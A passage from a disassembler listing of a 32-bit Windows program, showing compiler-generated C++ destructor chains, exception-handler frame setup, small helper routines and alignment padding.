		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416820	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41683B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41683B:				; CODE XREF: sub_416820+11j
		retn
sub_416820	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416870	proc near		; CODE XREF: sub_402040j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41688B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41688B:				; CODE XREF: sub_416870+11j
		retn
sub_416870	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168C0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4168DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4168DB:				; CODE XREF: sub_4168C0+11j
		retn
sub_4168C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447158B9h
		dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 447158B9h, 0B2CAE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416990:				; CODE XREF: ___:00401C44j
		push	0FFFFFFFFh
		push	offset loc_439FE1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021DA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401EE2
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_40176C
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_401FF5
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401DED
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_40187A
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F28
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B27
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017D0
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018CA
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401EB0
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402216
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017A3
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A23
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C0
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401E83
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014F1
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AE6
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401C8F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401929
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_40143D
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C00	proc near		; CODE XREF: sub_401A23j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43E050
		test	eax, eax
		jle	short loc_416C17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416C17:				; CODE XREF: sub_416C00+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C30	proc near		; CODE XREF: ___:0040126Cj sub_4019BFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A23
		test	[esp+4+arg_0], 1
		jz	short loc_416C48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416C48:				; CODE XREF: sub_416C30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416C30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C60	proc near		; CODE XREF: sub_4017A3j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43E05C
		test	eax, eax
		jle	short loc_416C77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416C77:				; CODE XREF: sub_416C60+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416C90:				; CODE XREF: ___:00401627j
					; ___:loc_401C99j
		push	esi
		mov	esi, ecx
		call	sub_4017A3
		test	byte ptr [esp+8], 1
		jz	short loc_416CA8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CA8:				; CODE XREF: ___:00416C9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CC0	proc near		; CODE XREF: sub_40176Cj
		mov	dword ptr [ecx], offset	off_43E068
		jmp	sub_402031
sub_416CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416CE0:				; CODE XREF: ___:loc_40191Aj
					; ___:0040218Aj
		push	esi
		mov	esi, ecx
		call	sub_40176C
		test	byte ptr [esp+8], 1
		jz	short loc_416CF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CF8:				; CODE XREF: ___:00416CEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43E074
		add	ecx, 4
		jmp	sub_401023
sub_416D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D30:				; CODE XREF: ___:00401E42j
		push	0FFFFFFFFh
		push	offset loc_43A1C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_40209F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015DC
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_401FFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_4019F1
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_40157D
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_401645
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401776
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_401695
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_401820
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016B3
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_401415
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D11
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A7D
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CA3
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402103
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_401573
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_40178F
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_401424
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_401424
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_401424
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_401424
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416FB0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416FB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B09
sub_416FB0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417020	proc near		; CODE XREF: sub_401929j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40206D
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40206D
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40206D
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40206D
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40206D
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AD2
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AD2
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AD2
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AD2
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AD2
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AD2
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AD2
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AD2
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AD2
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AD2
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AD2
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AD2
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AD2
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AD2
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AD2
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AD2
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AD2
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AD2
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AD2
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AD2
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AD2
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AD2
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AD2
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AD2
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AD2
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AD2
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AD2
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AD2
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AD2
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AD2
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AD2
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AD2
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417540	proc near		; CODE XREF: sub_4014F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417540	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175E0	proc near		; CODE XREF: sub_401E83j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: sub_402216j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417770	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417830	proc near		; CODE XREF: sub_401EB0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417830
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417830	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178F0	proc near		; CODE XREF: sub_4018CAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417960	proc near		; CODE XREF: sub_4017D0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_401B27j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A40	proc near		; CODE XREF: sub_401F28j
		add	ecx, 4
		jmp	sub_401023
sub_417A40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

